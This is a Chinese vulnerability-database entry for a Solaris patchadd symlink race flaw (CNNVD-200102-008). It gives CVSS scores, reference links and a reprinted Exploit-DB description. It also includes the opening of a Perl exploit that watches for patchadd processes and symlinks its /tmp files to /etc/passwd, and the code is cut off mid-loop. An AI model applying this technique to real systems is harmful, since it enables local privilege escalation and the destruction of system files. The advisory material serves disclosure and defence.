发布时间 :2001-02-12 00:00:00
修订时间 :2016-10-17 22:09:28

[原文]patchadd in Solaris allows local users to overwrite arbitrary files via a symlink attack.

[CNNVD]Solaris patchadd覆盖文件漏洞(CNNVD-200102-008)


- CVSS (基础分值)

CVSS分值: 6.2 [中等(MEDIUM)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: HIGH [漏洞利用存在特定的访问条件]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)


- OVAL (用于检测的技术细节)


- 官方数据库链接
(官方数据源) MITRE
(官方数据源) NVD
(官方数据源) CNNVD

- 其它链接及资源
(UNKNOWN)  BUGTRAQ  20001218 Solaris patchadd(1) (3) symlink vulnerabilty
(VENDOR_ADVISORY)  XF  solaris-patchadd-symlink

- 漏洞信息

Solaris patchadd覆盖文件漏洞
中危 未知
2001-02-12 00:00:00 2005-05-02 00:00:00

- 公告与补丁


- 漏洞信息 (20514)

Solaris 2.5.1/2.6/7.0/8 patchadd Race Condition Vulnerability (EDBID:20514)
solaris local
2000-12-18 Verified
0 Larry W. Cashdollar
N/A [点击下载]

patchadd is the patch management tool included with the Solaris Operating Environment, distributed by Sun Microsystems. A problem exists which could allow a user to corrupt or append system files.

The problem exists in the creation of /tmp files by patchadd. patchadd creates a variety of files in /tmp while installing the patches on the operating system. The files created in /tmp are mode 0666, and are created with the extension sh<pid of patchadd>.1, sh<pid of patchadd>.2, and so on. Running the program requires administrative access. It is possible to brute force guess the pid of patchadd, and create files in the /tmp directory that are symbolic links to sensitive system files.

It is therefore possible for a user with malicious intent to gain elevated privileges, corrupt system files, or execute arbitrary commands.

#Exploit for patchadd Solaris 2.x. Symlink /tmp file creation
#patchadd creates files in /tmp with mode 644 that can be used to clobber
#system files when executed by root.
#Larry W. Cashdollar
#See BID
#Discovery credit: Jonathan Fortin
#Tested on SunOS smackdown 5.8 Generic_108528-10 sun4u sparc SUNW,Ultra-5_10

use strict;

my $NOISY = 1; # Do you want quiet output?
my $clobber = "/etc/passwd";

print "Listening for patchadd process...\n" if ($NOISY);

while(1) {
  open (ps,"ps -ef | grep -v grep |grep -v PID |");

 while(<ps>) {
   my @args = (split " ", $_);

     if (/patch/) {
        print "Targeting PID $args[1] and symlinking response.$args[1] to
$clobber\n" if ($NOISY);


- 漏洞信息

Solaris patchadd Symlink Local Privilege Escalation
Local Access Required Race Condition
Loss of Integrity
Exploit Public

- 漏洞描述

- 时间线

2000-12-18 Unknow
2000-12-18 Unknow

- 解决方案


Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete